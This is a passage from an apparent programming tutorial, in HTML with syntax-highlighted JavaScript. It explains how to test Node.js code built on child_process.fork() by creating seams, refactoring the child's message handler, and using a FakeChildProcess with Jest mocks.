&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.lastResult &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  square&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ command: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, args: [value] });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  _handleMessage&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    switch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (message.type) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      case&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;result&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;        this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.lastResult &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; message.result;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      default&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Calculator received an unknown message: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Calculator;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;child_process.fork()&lt;/code&gt; is a great seam. Mock out &lt;code&gt;fork&lt;/code&gt; to return an object you control, and you now have full control over how your &quot;child process&quot; acts. Your code won&apos;t realize it&apos;s not talking to a real process. You&apos;ve replaced the hard-to-test &lt;code&gt;fork&lt;/code&gt; to make it return something easy to test.&lt;/p&gt;
&lt;p&gt;Some seams are trickier to work with. In the previous article, the child was a JavaScript file run by &lt;code&gt;fork&lt;/code&gt;. That code also calls the built-in Node &lt;code&gt;process&lt;/code&gt; API to communicate with the parent. Both would be a hassle to stub out.&lt;/p&gt;
&lt;p&gt;In those situations, I&apos;ll create a new seam. I&apos;ll extract all the interesting stuff into a method that takes the hard stuff as arguments:&lt;/p&gt;
&lt;p&gt;Old code:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  switch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (command) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  case&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(args[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  default&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Child received an unknown message: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;New code:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; handleMessages&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;./handleMessages&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;handleMessages&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(process);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// handleMessages.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; handleMessages&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;parentProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  parentProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    switch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (command) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      case&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        parentProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ type: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;result&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, result: args[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      default&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Child received an unknown message: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;        break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; handleMessages;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the child has a very clear seam. The &lt;code&gt;process&lt;/code&gt; is now an argument that can be any kind of object, as long as it implements &lt;code&gt;send&lt;/code&gt; and emits events. You still can&apos;t easily test &lt;code&gt;child.js&lt;/code&gt;, but it does so little that you can skip it without much risk.&lt;/p&gt;
&lt;h2&gt;Next, fake out the complicated code&lt;/h2&gt;
&lt;p&gt;Once you have your seams — in this case &lt;code&gt;child_process.fork()&lt;/code&gt; and &lt;code&gt;parentProcess&lt;/code&gt; — you&apos;re ready to start testing. But how do you connect your parent and child code together?&lt;/p&gt;
&lt;p&gt;Fake objects are my favorite way to test complicated code. A fake object has the same API as the thing it&apos;s faking, but it has slightly different and usually much simpler behavior. For example, in your tests, &lt;code&gt;child_process.fork()&lt;/code&gt; could return a fake object that has &lt;code&gt;child_process&lt;/code&gt;&apos;s &lt;code&gt;send&lt;/code&gt; method, so your parent process&apos;s code still thinks it&apos;s talking to the real thing:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// FakeChildProcess.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;handle&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ message, handle });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; FakeChildProcess;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Calculator.test.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Calculator&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./Calculator&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./FakeChildProcess&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;jest.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;mock&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;describe&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Calculator&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; childProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  beforeEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    jest.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;resetAllMocks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    fork.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;mockImplementation&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      childProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; childProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, your fake could provide some insight into your test code, like keeping track of the messages sent to it:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;it&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;sends a square message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; calculator&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Calculator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  calculator.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;square&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  expect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(childProcess.receivedMessages).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toContainEqual&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    message: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      command: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      args: [&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    handle: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;undefined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
